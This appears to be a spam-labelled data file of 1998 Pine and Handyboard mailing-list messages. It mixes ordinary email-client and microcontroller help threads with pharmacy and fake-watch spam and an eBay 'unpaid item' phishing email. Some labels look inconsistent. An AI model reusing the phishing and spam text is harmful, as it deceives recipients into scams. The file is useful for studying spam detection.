verified by BBB and approved by Visa Seal of Confidence Quality meds at quality prices, and shipping so discrete that comes fast at your doorstep Please give us an opportunity fo check us http://oomrkv.stoneschaos.com/?23777058 not interested? you can out-out at our website ",1,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 16:41:36 +0100",Re: Reply without read the mesage....," On Sat, 17 Jan 1998, biscoito wrote: > My problem is how can I get a copy of my new mail - without read it - to > another account? There is any possibility to do it? It is like a > automatically forward, but Pine keeps a copy in my pine's account.... You will need a filtering system for that. You didn't state under which OS you're running pine, but let's presume that you're using some flavour of u*ix. The first step is to grab a copy of Nancy McGough's filtering mail faq, the address of which I don't have right now because it was eaten by an I/O error. It's in the pine FAQ, though, which you will want to read, anyway. Then you decide on which filter you want to use (probably procmail) and if it is installed on your system. Then you go about reading the procmail man page by saying ""man procmail"" and ""man procmailex"". Basically, all you need is a simple .procmailrc as described in procmailex. Good luck, Robin -- no sig - no fun robin@franck.pc.uni-koeln.de ",0,0 """Wehage - Diana M."" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 10:44:12 -0500",email overload,"My University of MD. email account is having problems. I have too many messages, but I'm trying to delete them and it doesn't work. The message says that there is a system's error and I need to press s for Shell to clean it up but it will not delete my messages. Could you please advise me and explain what I'm doing wrong. I'm not sure I will get your message. I have an account with Baltimore County Puclic Library in Maryland. Diana Wehage ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 18:04:27 +0100",Re: email overload,"On Sat, 17 Jan 1998, Wehage - Diana M. wrote: > My University of MD. email account is having problems. I have too many > messages, but I'm trying to delete them and it doesn't work. The message > says that there is a system's error and I need to press s for Shell to > clean it up but it will not delete my messages. Could you please advise me > and explain what I'm doing wrong. I'm not sure I will get your message. I > have an account with Baltimore County Puclic Library in Maryland. Hi, Diana, you're having a quota problem. You should discuss that with your local help desk. I've never seen your error message, but have you made sure that you're only running one instance of pine? That could be another problem, because running multiple instances of pine will render all of them read only. Robin -- remove sushi ",0,0 Mike ,Pine Discussion Forum ,"Sat, 17 Jan 1998 11:04:01 -0500",hmmmmmm,"Ok, well, I've tried quite a few things now. I can get the stupid mail clients like Netscape et al to show the new headers, if it is set to show full headers. Pine obviously does the same thing. Bummer. Ok, now in a fit of rage last night, this is what I tried. I type in, telnet mail 25. Then I do the helo, mail from, rcpt to, and data. When I get to data, I put in my own headers. Blah. does this sound right so far? Well, then I go ""."" and send. I get the mail, same thing. Only shows the defalt headers. What's up with this? Isnt there any way that I can force the headers to show up? I guess not. If I send myself an email from Netscape to Pine, I bet the odds are high enough that I wont see that infamous ""Organization"" header that Netscape always has to squeeze in. Let me try that... Yup, I was right. So I'm quickly coming to the conclusion that the only way that people are going to see the headers that you want are by leaving the full headers on all the time, and this day and age with so many bounces, forwards, and carbon copies, no one wants to leave those on. I guess that I probably should just give up, huh? ______________________________________________________________ webmassa@phatboys.com * Mike Cross * Minister of Propaganda ""If you can't convince them, confuse them."" -Harry S Truman Mundus vult decipi, ergo decepiatur. Frontis nulla fides. -------------------------------------------------------------- ",0,0 Mike ,Pine Discussion Forum ,"Sat, 17 Jan 1998 11:30:26 -0500",hmmmm yet again,"Ok, I figured my last problem. Only thing that I cant figure out, now that I've decided what just cant be done, is how to change the ""from"" header... ______________________________________________________________ webmassa@phatboys.com * Mike Cross * Minister of Propaganda ""If you can't convince them, confuse them."" -Harry S Truman Mundus vult decipi, ergo decepiatur. Frontis nulla fides. -------------------------------------------------------------- ",0,0 Andrew Vardy ,Pine Discussion Forum ,"Sat, 17 Jan 1998 13:14:51 -0330",Re: hmmm,"On Sat, 17 Jan 1998, Robin S. Socha wrote: > On Fri, 16 Jan 1998, Colin J. Raven wrote: > > > > Mike Cross > > http://www.phatboys.com/ > > mailto: webmassa@phatboys.com > > ""If you can't convince them, confuse them."" -Harry S Truman > > Unless your hdd is broken, you don't need the email in there - it's in your > from: line. The URL could use standard format, too: > to make it clickable. Pine doesn't do that, btw. *sigh* I don't agree. Here's why a. That standard format looks too codey. I don't like codey looking stuff. b. It's confusing looking. c. More chance that a long URL will not fit on a line. You're just making a longer line. Too many characters. And also, whoever's e-mail progy may wrap lines. How's ya supposed to follow it if it takes TWO lines?! d. Would you expect everyday people to just type in all that, whenever they mention a URL? I expect not. Mike, leave it like you have it. > > [snipped really interesting things I didn't read] > > Follow this method, and you've learned several things.... > > Colin? You have just taught the young man how to do about everything > feasible wrong. But that's ok, because this is not gnu.emacs.gnus, but the > pine discussion forum, and the only reason we're here is because we are nice > chaps that enjoy a good laugh once in a while. Technical problems do not > really belong here... Tech. problems don't belong here. But if you ask non-tech problems, you'll find you don't belong here either. :-) > [...] > (setq message-signature 'random-signature-fun) > > I wish things were as easy as that with pine. > Yeah. So don't worry about sig.'s until people make universal EASY methods to write them, and context sensitive inclusion. BTW, I don't like Sig.'s, take away Kbytes of message space. 2nd BTW, didn't someone just post here saying her e-mail program shut down, now inoperative, based on file space overflow? If anyone likes Sig.'s, why not write my postmaster from the hostname, or her postmaster. And ask them to increase the general quota. Ok---- here's my Sig. ------------------------------------------------------------------------ ""If anyone likes Sig.'s, why not write my postmaster from the hostname, or her postmaster. And ask them to increase the general quota."" So saith AV, in ano domini 1998, jan. 17. ------------------------------------------------------------------------",0,1 Sammy Plaisted ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 17 Jan 1998 02:18:45 -0700",Re: VALtqUM news,"Hi, V A C P L X V I m I r e a A A b A o v n L G i L z i a I R e I a t x U A n S c r M a http://www.ivronsiname.com should. Bourne was silent; only his breathing was heard. All right, he said. I see where were at. You tell Casset that if he gives us whatever we ask for now, well give him-no, Ill give him; keep yourself cleaner than me-enough information for the Department of Justice to go after some of the biggest fish in the government, assuming Justice isnt ",1,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 13:29:42 -0600",Re: hmmmm yet again,">From: Mike >Date: Sat, 17 Jan 1998 11:30:26 -0500 (EST) >Only thing that I cant figure out, now that I've decided what just cant be >done, is how to change the ""from"" header. For the 2,642,423rd time, pine must be compiled with ALLOW_CHANGING_FROM. It's not a user-configurable option.",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 21:41:14 +0100",Re: hmmm,"On Sat, 17 Jan 1998, Andrew Vardy wrote: > On Sat, 17 Jan 1998, Robin S. Socha wrote: > > On Fri, 16 Jan 1998, Colin J. Raven wrote: > > Unless your hdd is broken, you don't need the email in there - it's in > > your from: line. The URL could use standard format, too: > > to make it clickable. Pine doesn't do that, > > btw. *sigh* > I don't agree. Here's why > a. That standard format looks too codey. I don't like codey looking > stuff. Andrew, it's standard. I don't care what you think looks codey or not, if you don't stick to standards, you're in great danger. > b. It's confusing looking. Guess you're easily confused. > c. More chance that a long URL will not fit on a line. You're just > making a longer line. No, Andrew, I'm using the accepted standard for a URL. Nothing more, nothing less. > Too many characters. Yes, Andrew. Certainly. > And also, whoever's e-mail progy may wrap lines. How's ya supposed to > follow it if it takes TWO lines?! Andrew, do you know HTML? If not, learn it. > d. Would you expect everyday people to just type in all that, whenever > they mention a URL? I expect not. Andrew, I think you don't understand. But that's ok. We've decided to be nice and gentle. > Mike, leave it like you have it. No, Andrew. [purpose of this list] > Tech. problems don't belong here. But if you ask non-tech problems, > you'll find you don't belong here either. :-) Tech problems do belong here. One of those problems was my broken hdd. BUT... Linux is not Windos, so I had a new running system with 60 minutes. This rocks. > [...] > > (setq message-signature 'random-signature-fun) > > I wish things were as easy as that with pine. > Yeah. So don't worry about sig.'s until people make universal EASY > methods to write them, and context sensitive inclusion. Andrew, it cannot get much easier than with pine, although (HELLO!!!) the sigdashes should be standard when editing the sigfile. > BTW, I don't like Sig.'s, take away Kbytes of message space. Andrew, the miles of stuff you didn't crop in your reply took a lot more. > 2nd BTW, didn't someone just post here saying her e-mail program shut > down, now inoperative, based on file space overflow? Oh dear... Mymy... Well, I certainly could tell Gnus not to save signatures that are PROPERLY (you got me, Andrew?) separated. > If anyone likes Sig.'s, why not write my postmaster from the hostname, or > her postmaster. And ask them to increase the general quota. Excellent. Andrew, you are totally meschugge. > Ok---- here's my Sig. It sucks. Plain and simple. Thanks for your valuable input, Andrew. Next one, please. Robin -- Robin S. Socha CEO German Web Force Proudly running Linux on 500MB *sigh*",0,1 Germán Gentile ,"Chuck McManis , ""Fred G. Martin"" , 'Handyboard Mailing List' , Lista de Motorola- 6811 , robot-board@cmf.nrl.navy.mil","Sat, 17 Jan 1998 13:48:37 -0300",Still problems to boot handyboard.,"I still have problems with two handyboards. I can download the code but never boot my code (that code run in other handy, however) Other variant is if i put a 69hc11a1fn the handy download the initiatl bootstrap code , and when try to syncronize with the downloader on the pc , the red led (reset???? of ds1233) light for a few of seconds and never sincro again. If i put a 68hc711e9 , can download the bootstrap, can downlaod the code, but when i off and on the handy the code never start. I have seek thge power in the memory, and ever is 5 v. I really don't know what more see!!!!! :( Please, anybody help me .... i'm going direct to the suicide... thanks again. ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 21:49:04 +0100",Re: hmmmm yet again,"On Sat, 17 Jan 1998, Adam H. Kerman wrote: > Date: Sat, 17 Jan 1998 13:29:42 -0600 (CST) > From: ""Adam H. Kerman"" > >From: Mike > >Date: Sat, 17 Jan 1998 11:30:26 -0500 (EST) > >Only thing that I cant figure out, now that I've decided what just cant > >be done, is how to change the ""from"" header. > For the 2,642,423rd time, pine must be compiled with ALLOW_CHANGING_FROM. > It's not a user-configurable option. Ummm... I beg to differ. If everything's working ok here again, this line would do, too: rc.config:FROM_HEADER=""franck.pc.uni-koeln.de"" I mean, if you can recompile, you're the admin, anyway, right? I have the strong suspicion that Mike is trying to set up a stand-alone system. This is the easiest solution. Cheers, Robin -- .signature abducted by terrorists",0,0 Dejesus ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 17 Jan 1998 08:04:09 -0500",revitalizes my hair and nail growth,"may bring be aloud it trot or termite not africa ",1,0 Andrea Tobin ,Dina ,,re[23]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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I don't care what you think looks codey or not, if > you don't stick to standards, you're in great danger. Interesting, but you haven't followed your own standard before. You have given URLs, not in the above form. Second, a message body does not go by any ""standard""! People type in it. Actual human beings. You can type any word you want. It will be included in the message body. (You can type German here too, as evidently you have. Even though this is an English speaking group.) > > > b. It's confusing looking. > > Guess you're easily confused. Hello! Hello! Anybody home? > > > c. More chance that a long URL will not fit on a line. You're just > > making a longer line. > > No, Andrew, I'm using the accepted standard for a URL. Nothing more, nothing > less. Standard, and who uses it? I think you prefer argumentation anyway. Robin prefers disagreeing to agreeing. :-) So you think it's a nice standard to have when 2% of Internet users may use it? > > > And also, whoever's e-mail progy may wrap lines. How's ya supposed to > > follow it if it takes TWO lines?! > > Andrew, do you know HTML? If not, learn it. Don't need to know HTML for an e-mail program. HTML is not considered acceptable in e-mail and on usenet. HTML here is not *standard* usage. Nope. HTML is for the Web. > > > d. Would you expect everyday people to just type in all that, whenever > > they mention a URL? I expect not. > > Andrew, I think you don't understand. But that's ok. We've decided to be > nice and gentle. We?? Why, does Robin have multiple personalities? > Tech problems do belong here. One of those problems was my broken hdd. > BUT... Linux is not Windos, so I had a new running system with 60 minutes. > This rocks. > > > [...] > > > (setq message-signature 'random-signature-fun) > > > I wish things were as easy as that with pine. > > Yeah. So don't worry about sig.'s until people make universal EASY > > methods to write them, and context sensitive inclusion. > > Andrew, it cannot get much easier than with pine, Hello? Hello?? Robin, you are contradicting yourself. Amazing how you can contradict yourself in such a short time. You are most clearly quoted above. > > BTW, I don't like Sig.'s, take away Kbytes of message space. > > Andrew, the miles of stuff you didn't crop in your reply took a lot more. > Whatever ""miles"" you may be referring to, no one would be able to follow the thread if everything was cropped. > > 2nd BTW, didn't someone just post here saying her e-mail program shut > > down, now inoperative, based on file space overflow? > > Oh dear... Mymy... Well, I certainly could tell Gnus not to save signatures > that are PROPERLY (you got me, Andrew?) separated. My my what? What does Gnus have to do with PINE discussion forum? What does your hd have to do with PINE? My my, did she say she was using Gnus?? Or... Were you planning to send her the installation files for it, and give her in-depth e-mail help on installing it? > > > If anyone likes Sig.'s, why not write my postmaster from the hostname, or > > her postmaster. And ask them to increase the general quota. > > Excellent. Andrew, you are totally meschugge. > Please talk some French or Latin instead. Thank you for your cooperation.",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 18 Jan 1998 00:12:34 +0100",Re: hmmm,"Quoting Andrew Vardy (avardy@morgan.ucs.mun.ca): > On Sat, 17 Jan 1998, Robin S. Socha wrote: [standard for typing URLs] > Interesting, but you haven't followed your own standard before. You > have given URLs, not in the above form. Yes, Andrew. Those I put in manually. I'm lazy. > Second, a message body does not go by any ""standard""! People type in it. > Actual human beings. You can type any word you want. It will be included > in the message body. (You can type German here too, as evidently you > have. Even though this is an English speaking group.) Indeed, Andrew, indeed. However, I cannot quite follow your logic here. Just because it can be altered by the user, a sigfile has to comply to the same standards as any other part of an email. Think of linewidth, headers and quotation marks, Andrew. [URL standards] > Standard, and who uses it? I think you prefer argumentation anyway. Robin > prefers disagreeing to agreeing. :-) So you think it's a nice standard to > have when 2% of Internet users may use it? I don't care, Andrew. I don't care about what lusers do, and what Microsoft does, and what you think is correct or not. It's the accepted standard, and it's not a standard made by some sadistic morons, but experienced admins and the like. Have you ever wondered if there might be a reason *why* those standards are set? [URLs spanning more than one line] > Don't need to know HTML for an e-mail program. HTML is not considered > acceptable in e-mail and on usenet. HTML here is not *standard* usage. > Nope. HTML is for the Web. Certainly. But some MUAs are aware of URLs, and therefore, you need to comply to the accepted internet standard for typing URLs. Otherwise, those URLs don't work and you might as well not use them at all. > > > d. Would you expect everyday people to just type in all that, whenever > > > they mention a URL? I expect not. > > Andrew, I think you don't understand. But that's ok. We've decided to be > > nice and gentle. > We?? Why, does Robin have multiple personalities? No. At least I'm not aware of any. ""We"" seems to be the other members of this list. Right, guys? [random sigs and signatures] > > Andrew, it cannot get much easier than with pine, > Hello? Hello?? Robin, you are contradicting yourself. Amazing how you > can contradict yourself in such a short time. No, Andrew. I was talking about how easy Gnus is to heavily customize in contrast to pine. Then I said that creating a signature with pine is easy. Can you understand the difference, Andrew? [bandwidth and diskspace wasted by sigfiles] > Whatever ""miles"" you may be referring to, no one would be able to follow > the thread if everything was cropped. Certainly, Andrew, certainly. [quota problems by sigfiles] > My my what? What does Gnus have to do with PINE discussion forum? It has features which pine sorely lacks. Since this is a discussion forum, I feel entitled to comment on these shortcomings from time to time, Andrew. Any objections from a technical point of view? [...] > My my, did she say she was using Gnus?? Or... Were you planning to send > her the installation files for it, and give her in-depth e-mail help on > installing it? Like I did with your setup? No, much too time-consuming, Andrew. > > > If anyone likes Sig.'s, why not write my postmaster from the hostname, > > > or her postmaster. And ask them to increase the general quota. > > Excellent. Andrew, you are totally meschugge. > Please talk some French or Latin instead. What's objectionable about Yiddish, Andrew? And I'm not quite sure if your knowledge of Latin would suffice here... > Thank you for your cooperation. You're most welcome. Robin -- Receiving file: xemacs-20.3.tar.gz 84% 0 ===================================> 13550239 bytes. ETA: 1:31 ",0,0 Bobbi42 ,Pine Discussion Forum ,"Sat, 17 Jan 1998 18:38:52 -0500",Grant: To help Jeff become a responsible citizen,"Subject: Full Scholarship January17, 1998 Aspen Achievement Academy Financing Aspen Ranch From: Bobbi42@AOL.com To whom it mat concern; We are the Grandparents and guardians of 16 yr. old Jeffrey Dyer . He has lived with us for almost two years. They have been very difficult ones. We have decided that our public school system does not have the ability to help our grandson mature into a espected, mature gentleman. I have since transferred him to Aspen Achievement Academy which is located in Loa, Utah. This wilderness treatment program is committed to guide students and their families toward internalizing principals and developing skillswhich facilitate positive personal growth. This treatment program lasts for about 50 days. After he completes that course on February 18th,he will move on to Aspen Ranch. These facilities are recognized and licensed by the Utah State Board of Education, to operate as a special alternative school designed to effectively reach students at risk. I am hopeful that they will reach Jeff. He is a third year Freshmen and has failed this semester, due to absenteeism. If we do not reach him soon, he will become another one of those drop-outs. Jeff needs to be reeducated. The therapists think that they have a chance to accomplish this, because he is responding to them. We are close to retirement age and do not have the funds available to sponsor him through the completion of these programs.We do not receive any help from his parents, although we are expecting about 390.00 a month from his father, which is long over due child support. I do not have my hopes up very high because he has contributed an embarrassing small amount of funds so far. If he does, it will renew my faith in man kind, but it will not be nearly be enough. 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We too had our problems. By this time he thought he was a polished manipulator. He did not respect us or our rules. He stole a great deal of money from his grandfather�s business, and from our vacation fund, he took my car for a joy ride, with out my permission or a license, he used abusive language on me in hopes of getting his way. Between his truancy and his horrible conduct, I realized that I could not help him. The only recourse I had left was to get him some kind of a treatment program. So on December 30th, of last year, he left for Aspen. Achievement Academy. We have exhausted all of our resources, including the money I set aside to pay our property taxes, to place him there. Jeff is very much worth the sacrifice that we are making. He needs to continue his treatment, which means he will move on to Aspen Ranch. This step will further educate him scholastically and emotionally. There just is not enough of our money available to help him. Can you help us by sponsoring him? It would be a wonderful answer to a prayer that is very deeply felt. Thank you for you time and God Bless: Shontsine Dyer 13745 S. King Rd. Lockport IL. 60441 708/301-0062 e-mail Bobbi42@aol.com Aspen Achievement Academy fax # 708/448-5299 P.O. Box 400 Loa, Utah 84747 435/836-2472 Fax: 435/836-2452 ",0,0 Aimee Wills ,Rochelle ,,Re: hello," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Martin"" , 'Handyboard Mailing List' , Mot-68HC11-Apps@freeware.mcu.motsps.com, Lista de Robótica General ","Sat, 17 Jan 1998 19:16:41 -0300",RE: M68HC711E9,"O.K, , I still have a question. I'm working with a handy board and it use a special mode to talk to a LCD. If i understand , the handy board need to put the reset vector in the range BFC0 - BFFF. If get the aplication note for the 711E9 and ,as it say, if i want to use the 12 K OTPROM i need to put the reset vector in the FFC0-FFFF range . I want to use that that chip to remove the battery and use that beatifoul option of ROM. I want to make my code run from my OPTROM and use RAM extern from 8000-AFFF . The aplicattion note say the OPTROM will be allocatted at C000-FFFF. My problem actually is to know if i have some possible solution for the reset vetor location : i really can't believe that question be a problem . Any help can be great. Thanks in advance. -----Original Message----- De: Robert L Smith Para: Mot-68HC11-Apps@freeware.mcu.motsps.com Fecha: Martes 30 de Diciembre de 1997 15:49 Asunto: Re: M68HC711E9 > Message sent by bobsmith@i2020.net (Robert L Smith) > to the mot-68hc11-apps Mailing List. > >At 05:11 PM 12/29/97 -0300, you wrote: >> Message sent by ""=?iso-8859-1?Q?Germ=E1n_Gentile?="" >> to the mot-68hc11-apps Mailing List. >> >>I have a Handy board . I want to remove the battery backup for the 32K >>RAM. This board have a 68HC11A1FN , i have the great idea of replace >>that with and put my code into the 12 K EPROM of the 68HC711E9. The >>question is , can be remapped that EPROM? If not , where is allocated? >>The handyboard external memory is at $8000-$FFFF. Is that overlapped? >>i'm already see the pink book for the a8, but is not very clear about >>e9. >> >>Thanks a lot >> >> > >German -- > >You the need the ""Technical Data"" reference for the 68HC11 E SERIES. > >It is available at the Moto web site. I also find the little pocket >reference for the E Series (MC68HC11ERG/AD) very handy and useful, it >contains the memory maps for the E series including the E9, E2, and E20. >This can be ordered on the ON-line literature order page. > >It shows that the 12K EPROM in the 711E9 is located at $D000. > > Good Luck, Bob Smith > >> >> >> To unsubscribe, send mail to Majordomo@freeware.mcu.motsps.com. >> In the message body, put unsubscribe mot-68hc11-apps >> http://www.mcu.motsps.com/lit/faq/major.html#zubscribe >> >---- Avoid computer viruses -- Practice safe hex -------------- > * * Specializing in small, cost effective embedded control systems * * >Robert L. (Bob) Smith Smith Machine Works, Inc. >internet bobsmith@i2020.net 9900 Lumlay Road >landline 804/745-1065 Richmond, Virginia 23236+1004 > > > To unsubscribe, send mail to Majordomo@freeware.mcu.motsps.com. > In the message body, put unsubscribe mot-68hc11-apps > http://www.mcu.motsps.com/lit/faq/major.html#zubscribe",0,1 ruben ,Pine Discussion Forum ,"Sat, 17 Jan 1998 18:46:36 -0700",Pine & sendmail,"Hi, We are trying to use PINE 3.96 on a box Running AIX 4.2.1. The executable we have was precompiled for AIX at UCLA. PROBLEM: when sending a new message the following message appears: ""[Sending mail | 0% |]"" and Pine just sites there with the percentage never changing from zero. We end up having to kill the Pine session. NOTE: We are able to send messages with the ""mail"" and ""mailx"" commands. ",0,0 "Ebay <""eBay Unpaid Item Response Reminder"">",handyboard@media.mit.edu,"Sat, 17 Jan 1998 14:48:30 -0500",eBay Unpaid Item Response Reminder: #8796510774,"X-media.mit.edu X-AntiAbuse: Originator/Caller UID/GID - [99 501] / [47 12] X-AntiAbuse: Sender Address Domain - northstar.chargertek.com X-Source: X-Source-Args: /usr/local/apache/bin/httpd -DSSL X-Source-Dir: banelinho2.ahost.ro:/public_html/mail eBay Unpaid Item Response Reminder: #8796510774 eBay Unpaid Item Response Reminder: #8796510774 Dear user: According to eBay's records, you have not yet responded to jasmul644's notification regarding your payment for item 8796510774, VINTAGE PLASTIC ""MAINE GUIDES"" 20oz BEER CUPS which was filed on Apr-28-2006. You may have already resolved this situation through email or paid for this item directly, but eBay has not yet been informed. Please respond using the link below so eBay can confirm your communication. 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Regards, eBay",1,1 Edward M Greshko ,Pine Discussion Forum ,"Sun, 18 Jan 1998 12:09:35 +0800",Re: Pine & sendmail,"On Sat, 17 Jan 1998, ruben wrote: > PROBLEM: when sending a new message the following message appears: > > ""[Sending mail | 0% |]"" > > and Pine just sites there with the percentage never changing from zero. > We end up having to kill the Pine session. I've seen this at times...forgot the exact conditions. The problem had to do with which options pine was using when it called sendmail. To ""workaround"" the problem rather than change the options and recompile I simply set: smtp-server = to the fully qualified name of the local host. in my .pinerc file. In the case where you are servicing a large community it would be advisable to put that information in the system wide pinerc file. Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 18 Jan 1998 12:15:48 +0800",Re: unable to send mesage.,"On Sat, 17 Jan 1998, SAROJA SREENIVASAN wrote: > I tried to send mail to my brother (bala@integra.net & > bala@2way.net).But the computer displays the message that it is unable to > send to that address.Please help. Not enough information to help too much.... Chances are it is a local problem as these seem to be valid addresses. Can you tell us *exactly* what the error message states? Thanks, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 18 Jan 1998 12:23:49 +0800",Re: help on .forward,"On Sat, 17 Jan 1998, Sapan Goel wrote: > I am facing problem while forwarding my mails to some executable program. > I want to develop the filter and for that i need to forward all the > incoming mails to some executable program. > For this i had written the line > |""/home/sapan/a.out"" > in my .forward file.... > where a.out is the executable program.. Try: ""|/home/sapan/a.out"" as the position of the "" marks can be significant. If that fails, then try something like: ""|exec /home/sapan/a.out"" However, be advised that sometimes systems are configured to not allow delivery to ""|"". You should also worry about possible abuse. If what you want to develop a mail delivery program....then take Robin's suggestion and get procmail. They have already done the job and taken into account most of the worries. Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 18 Jan 1998 12:27:36 +0800",Re: HELP!!!!!!,"On Sat, 17 Jan 1998, Robin S. Socha wrote: > Don and Jennifer have been abducted by aliens! They were good people and > deserve better than be replaced by soulless clones. Is there anything I can > do to bring them back, please? Maybe something that will also make pine > filter mail, do threads, yank properly, and forge my from: line - and fix my > hdd? It'd be pretty cool if it would also get me some Coke, pizza and > cigarettes... Sorry, I can only help you with the Coke and pizza. However, I thought about the transit time and decided it was best that I consume those items in your stead and just tell you how they were..... Buuurrrrrp....ahhhhh. Thanks, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Ross Hester ,mailarch+pine-info@groupms.cac.washington.edu,"Wen, Sun, 18 Jan 1998 06:58:03 -0900",Open something new for your self ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. Here goes some reasons to choose Cialis Soft Tabs: 1. You can mix alcohol drinks with Cialis Soft Tabs without any undesired effects. 2.Cialis Soft Tabs does not make you feel dizzy or make vision blurred, so you can easily drive a car or operate heavy machinery. 3.Cialis soft tabs works much faster than any known ED treatment solution. Cialis Soft Tabs enters the bloodstream directly instead of going through the stomach, thus you need only 15 minutes till you feel the effect. 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(URGENT) ",0,0 Ardal Platz ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 17 Jan 1998 17:46:07 -0700",Re: VALtcUM news,"Hi, V V P C A X L A I r I m a e L A o A b n v I G z L i a i U R a I e x t M A c S n ra http://www.zakuparelyt.com Master had one) and there was little food (even the Master went short). Many took ill of wet and cold and sorrow that night, and afterwards died, who had escaped uninjured from the ruin of the town; and in the days that followed there was much sickness and great hunger. Meanwhile Bard took the lead, and ordered things as he wished, though always in the Masters name, and he had a hard task to govern the people and ",1,1 Raymond Reese ,Pine Discussion Forum ,"Sun, 18 Jan 1998 00:33:27 -0800",ASCII Transfers,"I use TELIX v3.22 to communicate with the Pine System at the Kitsap Regional Library and a I have a serious problem. Apparently, the Pine system, when in the mode to accept hand typed messages, will not accept ASCII transfers. This makes it very difficult to send pre-made messages. Also, from time to time what I am typing gets bounced around to different places on the screen and sometimes overtypes what is already there, including the header, not to mention the characters that occure that I dont type (resembling control codes and the like). Just for the record, this connect has been doing the above mentioned things and my connection rate is at 1200, in spite of trying to connect at 33.6k. When the connection was made, it first showed a rate of 26.4k. Something is wrong and/or confusing. BTW, ASCII Transfers are really very important to me. I am also not very please with the commands that require Control-this and Control-that. I run a BBS on a Commodore and even that computer accepts Cursor keys along with the standard . (dot) or / (slash) codes used in BBSes and wordprocessors. ",0,0 Achan Shirkey ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 17 Jan 1998 18:49:57 -0700",Re: your CtALlfS,"Hi C A L V P V X I m e I r A a A b v A o L n L i i G z I a I e t R a U x S n ra A c M http://www.klopapisan.com deal of convincing; and in the end to sav6 time Bilbo had to buy back quite a lot of his own furniture. Many of his silver spoons mysteriously disappeared and were never accounted for. Personally he suspected the Sackville-Bagginses. On their side they never admitted that the returned Baggins was genuine, and they were not on friendly terms with Bilbo ever after. They really had wanted to live inhis nice hobbit-hole so very much. ",1,1 Fabio Coatti ,Pine Discussion Forum ,"Sun, 18 Jan 1998 02:27:46 +0100","Re: pgp/pine, take II","On Fri, 16 Jan 1998, Brian H. Trammell wrote: > Greetings, > > Thank you for your previous suggestions. However, I am attempting to use > PGP 5.0 with Pine, not 2.6.2. 5.0 has different calling semantics, and I > am having quite a bit of difficulty porting any of the suggested solutions > to PGP 5.0 due to these semantic differences. > > I would like to instead address why pine returns >Problem filtering: > Success<... > > ""Success"" is not generated by pgps, pgpe, or pgpv (the pgp executables for > pgp 5.0) so it looks like it's added by Pine's filter layer. But if Pine > is returning success, why does it die with ""Problem filtering""...I'm > afraid I don't understand. > I modified papp to use pgp5.0 syntax, and I can send it to you, but your problem is related to a bug in libc, I think. -- ----------------------------------------------------------- Fabio Coatti 2:332/409.414 Fidonet cova@felix.unife.it Internet http://felix.unife.it/~cova Home page Old SysOps never die... they simply forget their password. -----------------------------------------------------------",0,1 Brennan Mair ,handyboard@media.mit.edu,"Sun, 18 Jan 1998 20:41:59 +1300",pcode_hb.s19 downloading probs,"hello, I tryed to download the pcode_hb.s19 file using DL, When it starts sending it stops and says ""expected 244, received 150, after 144 chars recieved"" I cant seem to get any of the downloaders to work. Im a bit stuck on where the problems lies as i have traced the bus systems through with a meter and cheaked for shorts, dry joints etc. also i was wondering if i had the wrong ram as it has 62256-10 on it and the mannel says 62256-100, are these the same or is this the problem. thanks, Brennan Mair Gysmo@es.co.nz ",0,0 Vicki ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 10 Dec 1994 15:57:37 -0200",just for guys Shelby," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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Additional information, including a User's Guide, Technical Notes, Questions & Answers, where to obtain the Pine software, what tools are available to perform tasks that Pine itself does not, and more, can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/ - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/docs/. Here, you will find most of the documents from the Pine Information Center in plain-text form. - The Pine documents on the host ftp.cac.washington.edu can also be read from within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/docs/[] The messages from this mailing list are archived. These archives can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/pine-info/ (includes a searchable index of all archived messages, and information on how to subscribe to this mailing list) - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/pine-info/. - From within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/pine-info/[] Please note: the mailing list is no longer mirrored in the comp.mail.pine newsgroup. If you have a question about Pine, chances are 